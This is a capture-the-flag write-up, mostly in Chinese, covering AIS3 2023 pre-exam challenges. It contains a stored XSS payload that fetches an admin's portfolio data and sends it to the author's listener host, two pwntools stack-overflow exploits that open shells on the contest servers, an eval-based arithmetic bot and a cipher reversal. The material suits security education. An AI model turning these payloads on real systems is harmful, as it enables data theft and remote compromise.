Welcome
題目
解題
讀一下 pdf
E-Portfolio baby
題目
解題
網頁進來是登入介面
About 那邊可以放 html 看起來可以 XSS
測一下
看起來可以
用 flask 隨便寫個 server 聽 request
#!/usr/bin/env python3
from flask import Flask,request,redirect,Response
app = Flask(name)
@app.route('/',methods=['GET'])
def data():
print(request.args)
return "aaa"
if name == "main":
app.run(host="0.0.0.0",port=80)
payload
<h5>Hello!</h5>
I am a <span style="color: red;">new</span> user.
<img src=x onerror='fetch("/api/portfolio").then(res => res.json()).then(data => {fetch(http://10.113.193.20?${new URLSearchParams(data.data)})})'/>
送去給 admin
然後就收到 flag 了
Flag
AIS3{<img src=x onerror='fetch(...}
ManagementSystem
題目
解題
- IDA 打開
- 人真好有給 shell code
- 每個 user 的 function 找一遍後發現
delete_user有用 gets，可以 stack overflow，先讓他跑到"Invalid index."感覺問題比較少。
- 找 shell code 的位置
- exploit
import pwn
import re
import sys
r = pwn.remote('chals1.ais3.org', 10003)
print(r.recvrepeat(timeout=1).decode())
r.sendline(b'3')
print(r.recvrepeat(timeout=1).decode())
r.sendline(b'-1' + b'x'(813-2) + int('40131B', 16).to_bytes(3, 'little'))
while True:
print(r.recvrepeat(timeout=1).decode(), end='')
print('> ', end='')
r.send(input().encode())
# r.send(sys.stdin.buffer.read())
chummy@hitcon:~/ais3preexam2023$ python3 mansysexp.py [11/294][+] Opening connection to chals1.ais3.org on port 10003: Done
Choose an option:
- Add user
- Show users
- Delete user
- Exit
>
Enter the index of the user you want to delete:
Invalid index.
Congratulations! You’ve successfully executed the secret function.
> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
> ls /home/chal
Makefile
flag.txt
ms
ms.c
run.sh
> cat /home/chal/flag.txt
FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}
> exit
>
>
[*] Closed connection to chals1.ais3.org port 10003
Traceback (most recent call last):
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 65, in send_raw
self.sock.sendall(data)
BrokenPipeError: [Errno 32] Broken pipe
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/chummy/ais3preexam2023/mansysexp.py", line 15, in <module>
r.send(input().encode())
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 778, in send
self.send_raw(data)
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 70, in send_raw
raise EOFError
EOFError
Flag
FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}
Robot
題目
解題
import pwn
import re
r = pwn.remote('chals1.ais3.org', 12348)
r.recvline()
r.recvline()
while True:
now = r.recv(timeout=1)
print(now.decode().strip())
groups = re.match(b'\s*(\d*)\s*([^\s\d]*)\s*(\d*)', now)
ans = b''
if groups.group(2) in b'+-*/':
ans = str(eval(f'{groups.group(1).decode()}{groups.group(2).decode()}{groups.group(3).decode()}')).encode()
print(f'ans: {ans.decode()}')
r.sendline(ans)
else:
print('bad')
chummy@hitcon:~/ais3preexam2023$ python3 robotexp.py [30/53][+] Opening connection to chals1.ais3.org on port 12348: Done
9 + 8
ans: 17
8+9
ans: 17
8 + 5
ans: 13
1 * 5
ans: 5
9 + 7
ans: 16
2 + 4
ans: 6
3 * 9
ans: 27
10+6
ans: 16
6 + 10
ans: 16
3 * 3
ans: 9
6*9
ans: 54
3 * 8
ans: 24
8*7
ans: 56
8 * 1
ans: 8
6 + 3
ans: 9
9 + 7
ans: 16
1*1
ans: 1
3 * 4
ans: 12
6 + 4
ans: 10
7 * 9
ans: 63
3 + 9
ans: 12
8 + 2
ans: 10
1+1
ans: 2
9 * 3
ans: 27
3 * 2
ans: 6
6*2
ans: 12
6+5
ans: 11
1+2
ans: 3
7 * 2
ans: 14
print(‘Segmentation fault (core dumped)'), exit(139)
bad
6 * 4
ans: 24
Congratulations! Flag: AIS3{don’t_eval_unknown_code_or_pipe_curl_to_sh}
bad
Traceback (most recent call last):
File "/home/chummy/ais3preexam2023/robotexp.py", line 10, in <module>
now = r.recv(timeout=1)
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 104, in recv
return self._recv(numb, timeout) or b’'
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 174, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 153, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
raise EOFError
EOFError
[*] Closed connection to chals1.ais3.org port 12348
Flag
AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
SimplyPwn
題目
解題
- IDA 打開
- 人真好有給 shell code
- array 最長 64 bytes 然後 read 256 bytes 一臉就會 stack overflow.
- 找 shell code 的位置
- exploit
import pwn
import re
import sys
r = pwn.remote('chals1.ais3.org', 11111)
print(r.recvrepeat(timeout=1).decode())
r.send(b'x'(810-1) + int('4017A9', 16).to_bytes(3, 'little'))
r.recvrepeat(timeout=1)
while True:
print(r.recvrepeat(timeout=1).decode(), end='')
print('> ', end='')
r.send(input().encode())
# r.send(sys.stdin.buffer.read())
chummy@hitcon:~/ais3preexam2023$ python3 simpwnexp.py
[+] Opening connection to chals1.ais3.org on port 11111: Done
Show me your name:
> ls
FLAG
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
runtime
sbin
srv
sys
tmp
usr
var
> cat FLAG
AIS3{5imP1e_Pwn_4_beGinn3rs!}
> exit
>
>
[*] Closed connection to chals1.ais3.org port 11111
Traceback (most recent call last):
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 65, in send_raw
self.sock.sendall(data)
BrokenPipeError: [Errno 32] Broken pipe
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/chummy/ais3preexam2023/simpwnexp.py", line 14, in <module>
r.send(input().encode())
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 778, in send
self.send_raw(data)
File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 70, in send_raw
raise EOFError
EOFError
Flag
AIS3{5imP1e_Pwn_4_beGinn3rs!}
Simply Reverse
題目
解題
- IDA 打開
- 讀 verify
- 看起來是把 encrypted 依照 index 做 rotation 就會得到 flag
- 找 encrypted 的位置把 hex 複製下來
- 然後寫 code 算回來
import sys
def rotation(nowbyte, length):
return (((nowbyte >> length) & 255) | ((nowbyte << (8 - length)) & 255)) & 255
enbytes = bytes.fromhex("8A5092C8063D5B95B6521B35825AEAF8942872DDD45DE329BA5852A8643581AC0A64")
ansbytes = []
for i in range(len(enbytes)):
usebyte = enbytes[i] - 8
if usebyte < 0:
usebyte += 2**8
ansbytes.append((rotation(usebyte, (i ^ 9) & 3) ^ i) & 255)
sys.stdout.buffer.write(bytes(ansbytes))
#print(bytes(ansbytes))
Flag
AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}